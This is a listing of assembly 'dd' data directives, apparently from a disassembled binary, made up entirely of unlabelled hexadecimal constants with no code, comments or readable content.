dd 843C8C59h, 0C8B7D86h, 0FAC02EC8h, 1F81F75h, 4597554Eh
dd 66F36AB6h, 0D80C0760h, 9FC2F99Ch, 180048CEh, 2F7F2D6h
dd 0F52BD97Ah, 0E0A00314h, 0C09C8302h, 0E573DF15h, 6F700B8h
dd 307B3635h, 42F902D1h, 604471ECh, 7010CCACh, 0E870F34Ch
dd 65008C0Dh, 625EDE1h, 0ECA0E258h, 35EB0983h, 50490F34h
dd 0EED7F1ADh, 3E027C66h, 0E9C6AA6Bh, 16D446E8h, 61E0784Ah
dd 0ECA6DD18h, 448CF4EAh, 0D5008E5Ah, 0EA0ECCA6h, 0AAFCF7Ch
dd 12F51E71h, 848B9D4h, 7B8C2FECh, 87290009h, 5533E913h
dd 1B12069Fh, 0C4146EAh, 7751E802h, 6C208021h, 0A86A58C5h
dd 0F9C01388h, 460125A7h, 1932217h, 60A7E185h, 208D892Eh
dd 1F0312B1h, 95C001ADh, 4960058Ch, 0D16C35ECh, 26A54B18h
dd 1AF0623Ch, 0DF200093h, 0BB02F4E6h, 71BAE03Eh, 7D0468EAh
dd 96D012D3h, 32DC307Eh, 10263C6Bh, 4F5098EEh, 0D75C3335h
dd 9B8D9918h, 328FC3E4h, 0D4C2F8DCh, 0E06E0AF9h, 43C4C675h
dd 0C1BD9FF0h, 28696568h, 8C0DEC08h, 72B35200h, 81DE6537h
dd 8CC30212h, 6F83DEBh, 0F30F9059h, 45B769DBh, 609CE474h
dd 0DCB35Dh, 80F9197h, 0D9BB5515h, 777A6600h, 714E61BFh
dd 0F100916Bh, 0F21891h, 0AC297322h, 68C11087h, 0FDFAA4A8h
dd 0D1A5EF00h, 0C7F08A90h, 5E580001h, 42763D61h, 0BCA250EBh
dd 0C32A9C82h, 0BAA6D718h, 58489660h, 0A600CFF8h, 774934EDh
dd 6D1EB53h, 710661E3h, 8102C8BEh, 0A1441BDBh, 0FC285A66h
dd 0EEB894BDh, 23B03A32h, 10160021h, 0CD255CDFh, 0E78E4A00h
dd 4E1AA355h, 42CC00D5h, 0E43287B4h, 5E581451h, 8CD4BC30h
dd 0E1C1DA3Eh, 0E478B8F1h, 0B12EDC8h, 0F2980928h, 0A0371CB2h
dd 44146380h, 20F43A8h, 0DF9FC3EEh, 70602CE1h, 302C1F25h
dd 35E96CF7h, 0F1868744h, 0E5A760B1h, 0D303788Dh, 7F191214h
dd 99702A7Bh, 0A00204D8h, 0B059CF91h, 0CCA1E4F8h, 84E1831h
dd 4C1CD304h, 254037C4h, 8F8D0416h, 4F424300h, 0C5EA7A9Ch
dd 7CE35D4Ch, 2FB22842h, 7744330h, 0ECBD8B8Ch, 0C8FB80BEh
dd 98914F9Fh, 3FDA8E0Eh, 0FE101D86h, 27259868h, 0FC801513h
dd 4E602E02h, 0C7920119h, 8224111h, 0BA300FF2h, 327DD0h
dd 80C159DBh, 15EAB0C0h, 0D9AC34E9h, 0D3096EF4h, 1D5D9F18h
dd 819C11E4h, 8645491Ah, 0EE06E4h, 2BC58193h, 0CD72C868h
dd 0D11DF80Fh, 48889256h, 9F200E11h, 0D7A0EF31h, 98FF0B99h
dd 0D188550Fh, 0A1400F2h, 125D7B35h, 222EE87h, 0A20B8D18h
dd 72A05C41h, 8B212C54h, 0ED3E0C07h, 0E01033EBh, 287B9992h
dd 20E8263Dh, 724B0DC8h, 0A79EB040h, 501BC25Eh, 302847h
dd 0E549652Ch, 88AF4B2Bh, 0E7CFB1C3h, 468CF0A3h, 588600B3h
dd 0EA844857h, 0A12449Eh, 105F6961h, 80ADE40Bh, 1BCB39EDh
dd 9BDE266Fh, 1CFF392Ah, 1217D226h, 0E9E4CCD9h, 80F4425Ch
dd 0F97FAAD4h, 0C13809DCh, 9C6D3B64h, 19608B64h, 0CE170F3Fh
dd 3C6180CCh, 0C3DC475h, 42F51D09h, 1E24063h, 722A5C64h
dd 4D0098FEh, 8C1CB7B9h, 0B41323h, 0D1F97CBFh, 0E241A721h
dd 4838110Bh, 0E10C8793h, 9C467CF8h, 20599100h, 0FC64687h
dd 0DF16E800h, 0B8D59FF1h, 60A0F01Eh, 44FC318Eh, 87008881h
dd 6C9CFD3Ah, 0FA93D3h, 0DD1B03BCh, 0C09FED41h, 94449CA7h
dd 80F07D63h, 672C7A43h, 0C50978DDh, 0E574A023h, 2AF918CAh
dd 49037FCh, 5531E67Eh, 2CF4B3C9h, 53F6CD7h, 0DC6AD1ECh
dd 3310C004h, 0F42E0Ah, 0DB255B27h, 0F3BBE6Bh, 6F42892Bh
dd 0A0A1801Fh, 9A3A529Ah, 3C8909D8h, 640407E0h, 0AA3383E3h
dd 1DEB1804h, 0B8C8AFD8h, 11048C32h, 141CD204h, 587780CEh
dd 0EC0A4C19h, 4080CA57h, 6E4E2F93h, 12831000h, 0D9F21C6Ch
dd 0AA0C000Bh, 803C2A5Ah, 0C801A965h, 1F4BAD4h, 0B07581B8h
dd 0E5E79C8h, 0C82BBCD5h, 0E2F7BD82h, 9471C459h, 56EEC518h
dd 0BC8961EBh, 601504E8h, 98B3A178h, 4D3036A2h, 939D181Ch
dd 1D4F5092h, 0A8D3802Ah, 87FA6518h, 0F3181519h, 3E61E100h
dd 688BE924h, 0D499DE13h, 95BC9068h, 12F2128Ch, 0B1280679h
dd 0E7015867h, 2EEB30DAh, 283D1FFCh, 0EA327802h, 0E980D6B3h
dd 0E4627542h, 0E8637424h, 7C41A0Eh, 621B61E8h, 0BE144ED8h
dd 4600D420h, 44AFEACEh, 2D9C94E5h, 9801BDDFh, 83E2118Eh
dd 193E7699h, 0C68272Dh, 431EC090h, 68D1AD6Ah, 0D1F3A0Bh
dd 37C9E8D8h, 409F8C24h, 0C8008CE9h, 0B4161E7Dh, 15D5AF31h
dd 0B00A5686h, 0E1288D80h, 9B013540h, 322E9E53h, 0A078F2D3h
dd 0A1D12604h, 2390CA21h, 4ED1317h, 0CEF70180h, 0F5B90A90h
dd 0D2058DA7h, 28A7B181h, 23342B5Ah, 1D823ED1h, 0C2637BC6h
dd 0DA1E8860h, 741240B0h, 0DC49A13Fh, 2488E502h, 617800BFh
dd 29C84008h, 75076A09h
dd 2A88C8FFh, 0D13A259Eh, 8186C80h, 0E2521E01h, 3195F2F4h
dd 4A5CED93h, 0B8D4489Ch, 0E398C96h, 938B84EFh, 0A8B08C3Ch
dd 3AAB16F0h, 0A23465DDh, 33FD004Ch, 5CD97958h, 0E40F002Ch
dd 877EEC6Bh, 520BC1DAh, 8FF2CE74h, 983DAA50h, 0B7EBF304h
dd 9CBCB8ACh, 88BC0E8Ch, 5C415368h, 0C857CD4Fh, 7C0A42FBh
dd 0CC48B8AFh, 53C4008h, 8022941Ch, 954EF5CCh, 209E80B4h
dd 5C382461h, 0D4243746h, 0B9E60BDDh, 0E2054CA5h, 17957514h
dd 807491A8h, 34B12F25h, 32430275h, 0F76BB285h, 26BE0C68h
dd 1773792Dh, 8096917Ch, 685FF01Bh, 0DA7C0211h, 37FF1271h
dd 0D8E0144Ch, 0C0655D32h, 47BC549Ah, 8C79C202h, 0C46A1C54h
dd 7595465Ch, 189819FEh, 42B41D59h, 3190E264h, 0ABC0604Eh
dd 992E748h, 14942AADh, 4B2504B8h, 97C0C4C2h, 7A407F00h
dd 914344D4h, 0F3C1BD04h, 0DCE3F868h, 57F9A900h, 31CD5A07h
dd 40A01E5Ch, 0A52D1A10h, 5910BA4Eh, 18D359ECh, 150F689h
dd 3E0CDAFCh, 4C9C2076h, 0F893E1B4h, 2D4FE370h, 0A4A0C161h
dd 0E557C819h, 5583F417h, 6B479802h, 9ABF41CEh, 5BE87C3Ch
dd 0E379018Ch, 62DFEED2h, 21C1DC06h, 0A5100113h, 4243A080h
dd 2E44055Eh, 0CC08C5F6h, 58C3758h, 1CD10410h, 0E48E5Ch
dd 8804182Bh, 631D5h, 91873337h, 51AAF10Fh, 0C3322BEAh
dd 40D299CDh, 7C6DF464h, 0ACAA009Fh, 25496503h, 0D5F4EBDEh
dd 0DC40604Ah, 86479C0Dh, 2C3000BDh, 0AF3E2879h, 414BC5FEh
dd 9D235C20h, 3AEB00D7h, 2BE87545h, 74075C9Fh, 8CC150CDh
dd 64A4FDD0h, 1CEC2414h, 4AF90334h, 0D3F21538h, 9A00CC7Ah
dd 0F89E39BAh, 9CD1BD8h, 9C0A05Ch, 846A025h, 65690490h
dd 602264A0h, 2D1D2972h, 0AC8010C1h, 7665D801h, 0EA1960C5h
dd 3CACA084h, 248C0FBCh, 40B268h, 0CB77FC75h, 0EC0E42B6h
dd 8357FB49h, 41D5035h, 0FE5299E8h, 47BC80A8h, 70010439h
dd 651CAA6Ch, 403D9562h, 0C0C0F410h, 0EA2EA6D1h, 58B0B4D4h
dd 0A607C982h, 6A53C166h, 1F19CF96h, 85A4F92Eh, 0D09D60E8h
dd 0E5406630h, 0CA262D07h, 7DBEF4FAh, 5508E865h, 0F2100F5h
dd 1FC5B928h, 0FE0001DFh, 0DAD646C4h, 28104725h, 54986709h
dd 64380D8h, 686A73ECh, 48E279C1h, 0D1D652F8h, 0BF88E48Eh
dd 6BAB8CC0h, 0C39C381Ah, 71391004h, 0E890B859h, 11048CD4h
dd 0A0C5ED30h, 8D1F6CD0h, 14D5B3Eh, 9D64BB70h, 84412B07h
dd 0B6B8C00Ch, 600E7870h, 64D19994h, 0DF2677FEh, 82803478h
dd 39C4B4DBh, 0C1EB7933h, 60311CC8h, 0ED4C246Bh, 0CB046925h
dd 0CC838594h, 74008468h, 7DB0C3D2h, 0EA35B40Bh, 7EDCC8A7h
dd 0EB0113CBh, 0D88CC051h, 7A03FA1Dh, 26B6C165h, 7D89C90Dh
dd 0F79AA084h, 0CE29804Dh, 0BE034037h, 6456176Dh, 90B0FCAEh
dd 0C1A4384Eh, 9992A880h, 0E4D2FB0Fh, 81F48F01h, 0CE42DF9Ah
dd 0E80C4086h, 3C04F9DEh, 0E5FCFBA8h, 0DB911E04h, 1DB9C080h
dd 7B4544h, 2C579D52h, 0B361F90Eh, 388FBC14h, 0F80D09CCh
dd 0C3900709h, 4E40C726h, 8858CB5Fh, 8C1BC0D1h, 0A20431E6h
dd 3461D30Fh, 27A000D7h, 0C42C63h, 2224D64h, 295B4C0Ah
dd 4770D41Dh, 3C3A4897h, 8F00BD23h, 0A7B54D6Bh, 0F457FFCAh
dd 607F2CF2h, 7990C340h, 83795ECh, 12A29A0Ch, 0F0F9000Ah
dd 6480F62Ah, 809D2106h, 0E1177F70h, 903D2741h, 0B59A1C60h
dd 0F6CF5A0Eh, 0CC30049Fh, 13E3ECF0h, 919DFE65h, 3EF6448Ch
dd 0ADE6F830h, 0E8009FCEh, 1B22EB38h, 0DD203453h, 7D8BF8D1h
dd 2F915817h, 0B38CB481h, 0BC0EC0FBh, 3ABD217h, 507888h
dd 13B8CA12h, 0B33C14A9h, 38A07802h, 0F1BA6461h, 18D37904h
dd 0F0FC1303h, 0C39408F4h, 1E71D080h, 6753AA8h, 60039E2Bh
dd 8601A93Bh, 4BFEC055h, 70C84D87h, 12F30023h, 9B3D6566h
dd 0A28F51Eh, 25258CE6h, 9A4CA163h, 618771DEh, 0B0375E10h
dd 0E04AB8CDh, 0C3980A00h, 395D613Fh, 59B7E6F4h, 30B9687Dh
dd 70F85BB2h, 5AF5BC13h, 4A051080h, 99F73A3h, 7559100Dh
dd 0DD9CC59h, 1907E818h, 922A21DBh, 0E98BCBD0h, 81170206h
dd 6860532Eh, 6F98A02Eh, 0C17D5Ah, 22BA2439h, 483FC5D2h
dd 0B5384701h, 84B11307h, 1FA6834h, 1C68EC18h, 3CE164E4h
dd 8C9CB818h, 21031A00h, 9689DF9Eh, 0ED725A0h, 9BE290C0h
dd 1CEC122h, 9DC4185h, 64926133h, 4A017784h, 0DF05485Ah
dd 0C044DE15h, 5A88BCCEh, 0DBEEA7C0h, 79E80046h, 0A569F18Dh
dd 9D3AC29Fh, 0C574934Fh, 9788248Eh, 302EEDC0h, 306052Dh
dd 0E5C769C0h, 0D69420E8h, 0F2B7D4A8h, 0C9D5BC1Fh, 6B20E540h
dd 0E755B37h, 76B09966h, 6AC84BE3h, 68820D5h, 21079E80h
dd 467012Dh, 77983D91h, 60728C60h, 3EC1591Dh, 0E278731Bh
dd 2C54470Eh, 0E80D20E7h, 9C4835E9h, 12F91200h, 0C8488BC4h
dd 6FEAC095h, 4FE2423Ch, 0C07B5B26h, 0CD666904h, 1106858h
dd 49279CB9h, 2E6A4A30h, 75A23D4h, 0F093E8BAh, 0FBBD705Dh
dd 1606D9B8h, 8302F51Ch, 0D271F58h, 0C4E613B8h, 0AC98FD74h
dd 27CC7814h, 8C177D4Bh, 0B8802C11h, 2A33106Bh, 60F7C00h
dd 89ED78BEh, 6184A17Eh, 0D1E28073h, 0E0237930h, 172D2E14h
dd 0D0692740h, 1D6479C3h, 0C18033F5h, 0D4F0C0E6h, 619F39DDh
dd 72700CDAh, 4A029A31h, 99CA6D42h, 20DC78AEh, 4708AC8Ah
dd 1F09843Dh, 693070AAh, 794AEA62h, 82034802h, 4B23429Ch
dd 15C0D904h, 7E1C016Bh, 602E213Eh, 0E8FEF86Ch, 389E04BAh
dd 0F465Eh, 2E4F9FD1h, 325275Dh, 68CC9EB2h, 0C94BCBC4h
dd 21C8DCCBh, 0B911BDC0h, 903E015Ch, 0FCA88B02h, 4679811Ah
dd 11AA4D25h, 5EF096C9h, 53AF00EFh, 0D8FBF1D2h, 2C90A86Bh
dd 3275E93Ch, 0D67C5954h, 22465C48h, 0AEF8CC00h, 651C86CAh
dd 0C0811228h, 0B009AF24h, 19D77A82h, 0A0AC80C0h, 98AAFF4Eh
dd 5E5CBA44h, 33C6BE1h, 33E4BF02h, 4CCAC068h, 0B03417C2h
dd 17DC4804h, 40C8ED6Bh, 526424F0h, 0B8146602h, 7AC1FBE7h
dd 0D65601F0h, 49E8A4FAh, 355DE473h, 37B53000h, 3EFE47D1h
dd 61680904h, 0E04089F6h, 6502D2D8h, 0E5704FB8h, 280E2938h
dd 6876C9h, 9D9599F7h, 827491F8h, 0F0366937h, 0BD412008h
dd 0EB2086FAh, 4ED82DC5h, 0FCDF3868h, 26C144A0h, 0B98D9E0Eh
dd 0CF1CA522h, 9B820B9h, 812DA100h, 2E759B0Bh, 76C63E9Eh
dd 1130E424h, 4D2A1D58h, 0D2841504h, 37EC58F8h, 2819058Ch
dd 91C83A9Eh, 791F8ED8h, 0B5660F7Ch, 5397C0C7h, 481DE8A9h
dd 0DE123CCDh, 9F3040B4h, 5DB6B28h, 0B1716A26h, 0B0A3C612h
dd 0A47A0622h, 91541797h, 2799802Ch, 23FAEBAh, 35751FB2h
dd 14735E73h, 1442BA58h, 70CD7EECh, 400DF040h, 0A64A0268h
dd 0C233C2Fh, 36619800h, 2BE2B90h, 0A681534Fh, 647B44AFh
dd 128CC370h, 30FED614h, 0A411562Ch, 2DCFE704h, 94BDC577h
dd 0DF8FEB8h, 0E6A0530Eh, 81E802C7h, 3CE8805Dh, 30B801FFh
dd 5410BFE5h, 9428032Dh, 0B6099819h, 50D1079Fh, 9EC0F0F4h
dd 6768514h, 8E8CF099h, 3931DA01h, 0A2FECC15h, 21E87468h
dd 5265098Ch, 2C094697h, 0F7048FBh, 0BA550056h, 0D740D082h
dd 0AD1C488Fh, 86C91EE8h, 0B5483290h, 2D1F8098h, 0E68F222Fh
dd 8C00184Fh, 9C8D067Eh, 0D184A3C7h, 3C324990h, 0A230BEF2h
dd 50574985h, 0DF8904Ch, 54F038Ch, 45778E90h, 0FD523E98h
dd 91F96808h, 545B02E9h
dd 0F0F680EAh, 0E8843B14h, 17008C2Dh, 2B4C1AC4h, 9AA66EEh
dd 0CAA01DD8h, 5C0C207Ah, 88DA77ABh, 4C46031Eh, 75E2622Ch
dd 0D9497C98h, 0C3C0A416h, 9123583Ah, 0AA1EBF03h, 31F5E80Fh
dd 249A904Bh, 243CD8B4h, 0A8A6083Ch, 83262701h, 546849C7h
dd 28CBDB8h, 38D974ABh, 7B417845h, 0CD6FC442h, 0C5EA6109h
dd 0BD94401Ch, 0D07CA890h, 4DAD1DB8h, 8CF54069h, 0BA78EEE0h
dd 4A30C101h, 211001E6h, 11249878h, 78212B4h, 0B138FC0h
dd 90DEB412h, 0AFDF00D6h, 4CB72895h, 4218273Ch, 41D1C0F0h
dd 0A5A89039h, 60D3E428h, 92A9085h, 0CAAA9CD6h, 50F9A020h
dd 0A82D626Ah, 548A978h, 7C817983h, 6B3F4991h, 319800F0h
dd 0AF96C42Bh, 348B81Fh, 0D916A2AEh, 0D38A3CCFh, 0C3A68000h
dd 60E72A8Eh, 394E2C98h, 3346D684h, 2ACC0700h, 9FDAFACAh
dd 8781DF16h, 80D20C01h, 2F3F043Ch, 18B2328h, 7DC0A12Ch
dd 2AF8416Bh, 0C246893h, 0A1BCC575h, 0C93C69C3h, 0D2E40045h
dd 64CB864h, 6A95D803h, 0DF9C7068h, 11CF1878h, 63000305h
dd 70F95BABh, 283DEC7Fh, 1798D01Ch, 0E00265D1h, 0B20EBF38h
dd 61ECB538h, 95B78C54h, 65A2002Dh, 0DFE3B0FAh, 988B62A3h
dd 85C83059h, 0C17F299h, 5CF234B2h, 7A9730h, 51A4C76Ah
dd 94F548CAh, 1AB03C13h, 827A2091h, 0BD88304Eh, 0ED7909C0h
dd 0DF580310h, 7174E1F0h, 0AC74BD9Ch, 300E0279h, 0BC35DF9Eh
dd 89B80C03h, 9C70A5FFh, 9A70068Dh, 3983CAE8h, 0F2BB6500h
dd 0EFAD136Bh, 3390021Eh, 1C39EC6Eh, 0C9D9CC8Ch, 0E189446Bh
dd 2F3A3ACCh, 972330h, 12C0BE56h, 0DA1E8F53h, 6B5C4339h
dd 0E8B28500h, 0C08EF265h, 0F9717E70h, 3E172D18h, 0A0C4BD2Ah
dd 0D188C8CEh, 0D607BCC0h, 0A2F424D7h, 0E530083Ch, 9DF36906h
dd 0D17891C8h, 126C18D4h, 0E2B1DBE1h, 0E67E05E8h, 48D72325h
dd 731E066h, 59574219h, 0DC0B4981h, 6D40A0F0h, 77FBEA70h
dd 66381269h, 0A27CE307h, 13F2302Dh, 20445800h, 8F06B569h
dd 623494E5h, 10E09081h, 39281ECFh, 6112A8EBh, 8CA815F6h
dd 0D984E129h, 700A18D0h, 0AC5EAE7h, 31910661h, 0D29C0128h
dd 2E3DA07Fh, 715F600Bh, 19D271FCh, 28E73DCCh, 1E9B72F9h
dd 59C4218h, 0F8C5B8F8h, 8C96E82Ch, 29A163Ch, 0B01C8A95h
dd 94E4490Ah, 5BA29C73h, 862F033h, 9026009Fh, 206DBA95h
dd 8559A001h, 4EE804B4h, 0C88086A1h, 9E1DA260h, 917E587Ch
dd 91409D95h, 2FD6812Dh, 32F02854h, 0A08904AFh, 28CED10h
dd 78990666h, 24F5B8Ch, 0EE118E54h, 1810FC68h, 0A1C08309h
dd 0E7D8A164h, 3B3A2E75h, 18B2354h, 0DDC002CDh, 0A4818975h
dd 5C5078h, 6CEADA8Eh, 0BA656A52h, 6F0AE0B2h, 0C4E2B434h
dd 5ADE502h, 98B07050h, 275099B4h, 2BC0104Dh, 0DB22C54h
dd 0E3CA95E0h, 91B8C0A9h, 6444704Fh, 236E733Eh, 3A700097h
dd 60804E99h, 80BE7894h, 2B5A6604h, 0C2A3CAF2h, 0AA100631h
dd 285FCC6Bh, 0C3004C7Ah, 60D70128h, 1D09F679h, 3DA20C80h
dd 32820024h, 0D59422EAh, 83240102h, 216AE9D8h, 0A7997E64h
dd 0CA300350h, 68D1018Ah, 0FEB08C85h, 0F23D302Dh, 976E5800h
dd 0A6AAE7D0h, 32CA0155h, 64694405h, 0C2B4543Eh, 0D230F598h
dd 0EA4F10A6h, 0CA81E0DCh, 3BD501A6h, 3EEBD4E7h, 3DC03599h
dd 0EFDCB93Ch, 7F5104D9h, 0FC1B5243h, 0F4080C8h, 0F484A2FDh
dd 5611004Eh, 0BA1C9E60h, 0DB58D550h, 0DE433988h, 5B4A7409h
dd 0A8595860h, 462FD1Fh, 0AA991E82h, 51A4E0CAh, 1DF88C0h
dd 6025DC92h, 7E9842E2h, 2C465E38h, 0CA6A047Ah, 82E76EC5h
dd 0B208984h, 0FA60FCh, 0B682AF97h, 4765B869h, 0E26CD817h
dd 0E80B4B05h, 73F28CE2h, 60FCC132h, 0B8008C7Dh, 9F54FF43h
dd 0DF3CA08Fh, 0C5EA8971h, 0C69C60C4h, 0D0495DB9h, 0D70FFAB8h
dd 6001816Fh, 694E6E0Ch, 9890A40Dh, 0A13A3BF4h, 0F05AC192h
dd 505ADE30h, 2E23082Fh, 0EC0E2128h, 652FA4F9h, 80F8C642h
dd 5F3FC980h, 9F27A187h, 0C5A432DEh, 60D0C45Ch, 2E6B9D21h
dd 132C8C12h, 268E0D9h, 0A42FA64Bh, 0F501D523h, 0B435ECF4h
dd 0AB54022Fh, 9C4DC3C0h, 0BEB0D7E0h, 73BE5ADh, 4B772EF4h
dd 0D511D09Dh, 8CFCA880h, 0D84E143Ch, 3F2D6840h, 18F46424h
dd 31D9EA8Fh, 0FCA86BDEh, 0E3009B31h, 0D8752139h, 7A6DAAFAh
dd 3300B1Fh, 7C655482h, 0E16070E4h, 0C412F9C1h, 4C124FD7h
dd 1862208Ah, 0FC51E4F8h, 11641769h, 2C895Bh, 4EAE94FAh
dd 0DE6D01C4h, 0F29CD829h, 88423FD2h, 0CDC1Dh, 25C7FB4Bh
dd 0B594DB01h, 52C41BA6h, 40411830h, 0CB42D75h, 0E8582611h
dd 2D8CD5E8h, 748AEB44h, 0C467434h, 8FFD6800h, 0D7ED33E4h
dd 4219DF01h, 0F1394578h, 0BCC0312Ah, 0A71D001Fh, 823E2D68h
dd 7C545C89h, 0F13F0BDCh, 0D051A233h, 0FD189479h, 55BC4709h
dd 8944C05Ah, 0F51C0B57h, 80E18B0Ah, 223C1081h, 0D2C300BDh
dd 5A0A9028h, 4E2561F3h, 0A29CE029h, 40DB0D63h, 28C064F8h
dd 8C91BCE4h, 6C1F8800h, 1512C6A2h, 34640913h, 8C58D474h
dd 0AC53F14Fh, 0BEF280A2h, 9E27230h, 3F9DBC96h, 0D09C5058h
dd 60E46DA5h, 0ADA8D87h, 280412F2h, 0FCF28835h, 8AC6D0F0h
dd 59449067h, 43D09260h, 2DA8848h, 0DF9F8B15h, 807CFC41h
dd 0C6A911Ch, 0CC9EFF98h, 18A8ABC4h, 8CEEF8h, 646A3910h
dd 81464EE7h, 2863C9F1h, 5A3858E4h, 9C887CCFh, 0AED0A6C0h
dd 0F13E00CAh, 28394AE7h, 17279D1Ch, 3D5C839Fh, 22EAEC2Ch
dd 0D06920h, 91F0979Fh, 0FE318096h, 90786A87h, 0FBA4506Ch
dd 0A0919557h, 0AFB85189h, 0CD39A5A0h, 9736C098h, 0D00AA59h
dd 29BA1003h, 78A81E84h, 0C221FF9Eh, 23282F6Bh, 0E2370192h
dd 0FCBB6FCCh, 2E3D0319h, 78528E3Fh, 90D1E07Bh, 0A89D1006h
dd 4C656D0h, 0EC455A8Fh, 0BC3BEA72h, 7B005923h, 4DAD1609h
dd 0FB9112CFh, 1DA0CB69h, 4F200210h, 0C8CD0C1h, 56039E01h
dd 0F2DC3FCh, 0D2E8C325h, 8004728Bh, 2ED80224h, 44F4C215h
dd 708C5789h, 8F70B4DEh, 0D127709Ch, 0E787F08Eh, 0A8756215h
dd 9A35A016h, 60B64464h, 241CEDB0h, 43777900h, 0EA6887F0h
dd 0F6FB01D8h, 0CFE5267Eh, 1A44F4F1h, 1C41053Ah, 1006875Bh
dd 17A8CE5Dh, 0A14D0664h, 822C4744h, 790B78CBh, 0ADE582F8h
dd 41099FD6h, 3E3E91ECh, 2EE23C8h, 74FBC926h, 41479CE1h
dd 12BE7DB4h, 2488E3Eh, 0A29421B8h, 78B507B4h, 0B0824A50h
dd 7C92173Ch, 9044E8A7h, 0B16E6760h, 5CD87B02h, 0F652AD1Eh
dd 0DEB0168h, 2AA15F25h, 2D23443Ah, 0A9E8A303h, 8154C050h
dd 0C88F4A98h, 0F62F768Ch, 54100909h, 0F5101700h, 19CC01A8h
dd 0C2E80273h, 0E8B788h, 0FC99E555h, 960C06D0h, 0E0E2F0B7h
dd 419740A2h, 79AC3D10h, 44D89A0Eh, 2648073h, 694871C0h
dd 3A6D820Ch, 976811C9h, 986FE92Ah, 11802F3Bh, 2B90A880h
dd 0A35A1DD9h, 0E67E7430h, 0B421B591h, 0AF5CB9E8h, 683788h
dd 6B70148Eh, 3002DC94h, 3E618B64h, 6D449DDh, 2ABBD0E7h
dd 60414827h, 308C0CBCh, 0CE188E54h, 670E7E2h, 42C26901h
dd 677351AAh, 1980403Eh, 0AF66E96Fh, 3643400h, 0CE10C957h
dd 94A7024h, 4C7467B9h, 2D481700h, 0D61271F9h, 1CB460D9h
dd 6C6B0112h, 520AF07Eh, 0C5EFC094h, 0E3C25901h, 0B5D32257h
dd 78704AC1h, 199640F6h, 0ABF1D900h, 29E41260h, 628F1CC3h
dd 29F06892h, 4ACCFC9h
dd 9495D8A0h, 15C00238h, 1004C937h, 0DA4E7621h, 0CF13D456h
dd 9C2CA4E1h, 2434C104h, 0DAA8A4E8h, 2D4FA940h, 6CC0983Dh
dd 53209D1Fh, 20909893h, 0D14ED414h, 885B6CF2h, 0FC0F0F18h
dd 40E62FCCh, 8405BEB4h, 51620074h, 0BBB18930h, 9CAA40DCh
dd 5F4BC07Ah, 0F4C0BC9Ah, 34F175A3h, 0D76CA101h, 8F781C9Ch
dd 6C24DF61h, 0A17761C1h, 0FA695576h, 2E90F6C3h, 7F0AE35h
dd 0CAFBE307h, 0EC94EAA7h, 0BF838B0h, 5FBAF79Dh, 7CDE34A9h
dd 129702D6h, 744F2A01h, 911266E3h, 94A818E9h, 0ACCF3481h
dd 0B35CF408h, 0D7FC9B18h, 50CDE1h, 0A6C510A8h, 0A427F4C2h
dd 6BC1F4FDh, 0AC386F00h, 49F33ACDh, 2D3C99DFh, 92911417h
dd 42831080h, 7504D0FBh, 593934A8h, 23A42FEFh, 30440133h
dd 0D452AEBBh, 3022E34h, 71DE61CBh, 3D086584h, 8876AAh
dd 63C9CBE4h, 0F10AA7FBh, 80F87D3Fh, 6447F294h, 1622516Ch
dd 0D34F1A27h, 0DFE0F80Ch, 374A11A8h, 0B7E010F6h, 0E402EDD6h
dd 3ACA6AB4h, 0B3B041D2h, 0BFB5B0C0h, 400330B7h, 0CD1BE578h
dd 0C041C13h, 74804336h, 456FDD8h, 0ED4E6054h, 0F32C8920h
dd 0D86C15C5h, 0F204A292h, 88D1300Ch, 4CC83E03h, 0AC49095Bh
dd 378C20BAh, 66006E74h, 0B7DF902Ah, 1EB0181h, 6F1A7842h
dd 30CA3718h, 6AE46538h, 68AF7927h, 0EA3AA170h, 320500BCh
dd 0CC9FAACBh, 2609AFC2h, 0D6141CDBh, 0E2F709A0h, 95914017h
dd 5EB9F980h, 355EF660h, 0A07ED001h, 587C9251h, 48CD0ECh
dd 0CBC4CF86h, 0E9E4811Ah, 0E8182D2Eh, 0D0D90025h, 14840105h
dd 2726C5A1h, 0E5697CD2h, 61BEE4CCh, 0FCDCD574h, 4049DE1Bh
dd 0C7588D4Dh, 7C0095BAh, 88EBF78Ch, 92650494h, 3841C950h
dd 6570987Bh, 0FC48002Ah, 6021C0EFh, 9E2E193Eh, 1868C4C7h
dd 9DE87707h, 2CA0C3B5h, 0F1962D03h, 60306Ah, 9980D844h
dd 72EC16C6h, 891030E8h, 0D42B03Ch, 0DD15E309h, 0A072A08Bh
dd 89845C01h, 2AD98669h, 0E8D8823Fh, 3ED88209h, 0B3ACEABDh
dd 7B82F8F4h, 18101643h, 188774Eh, 295C19C0h, 64B510E4h
dd 9FDE9440h, 6BB8EC21h, 730A8067h, 8679C483h, 0DCEA7Ch
dd 0D71FBC1Bh, 4F9C5848h, 8E0B1891h, 4B985A10h, 40305DDEh
dd 8267C24Dh, 2200B0F3h, 198E03F7h, 4F6AD834h, 2E0C409Ah
dd 22A1DD30h, 69EBDE00h, 5868CC8h, 12709387h, 250309Ah
dd 896285D8h, 90C2A018h, 0AD2F8F8h, 39491682h, 2CFC2184h
dd 0EC3822E8h, 4534B03Fh, 18807358h, 0BBC9E1C3h, 0ECB1073Ch
dd 45AB2E7h, 3A5CA231h, 68C60077h, 0AAE4943Eh, 397F3861h
dd 918B8F3h, 5EA4033Bh, 2D600DCh, 889A030h, 2C7CA1A7h
dd 6834FC12h, 74B8B4ADh, 1B0EDE04h, 5CB86ADDh, 236C2FD7h
dd 0DF2100BEh, 0D39DBC82h, 0E812A8B6h, 45987C19h, 2CECB710h
dd 58E4F979h, 0DC94BCh, 0E0954615h, 0BFC26D02h, 1497D209h
dd 460D48Ch, 0E2EB9D83h, 0C4B24B24h, 0E33020F2h, 0C82F4ECAh
dd 0CB136848h, 0AB7A77h, 0CD138C9Fh, 417DB55Ah, 25877201h
dd 0FDB32E5h, 0DA94126Fh, 0DA21C0D8h, 913A54h, 4536E114h
dd 1BAAD805h, 0A4B24F4Eh, 89F9C008h, 0E8D83Ch, 0A0CEC5FCh
dd 0B75AF5D8h, 9CFB8092h, 3B39D70h, 5AAA3D0h, 701087FAh
dd 9F7268BDh, 0BBCA6893h, 1FDC645Eh, 5E9C20Eh, 0B4A88F24h
dd 6B000D60h, 76F1BA82h, 0CE5E06h, 74536C2Dh, 12C37A0Fh
dd 106FBD17h, 72844A0h, 295279F9h, 0EA4D8388h, 0A21FBC1Ah
dd 0C0905DF9h, 0D33D5CF9h, 612500ACh, 0C2CFC420h, 0C176049Eh
dd 0B87E84FEh, 424383ECh, 0F738886Eh, 8D1B241Dh, 0F5163F5Ch
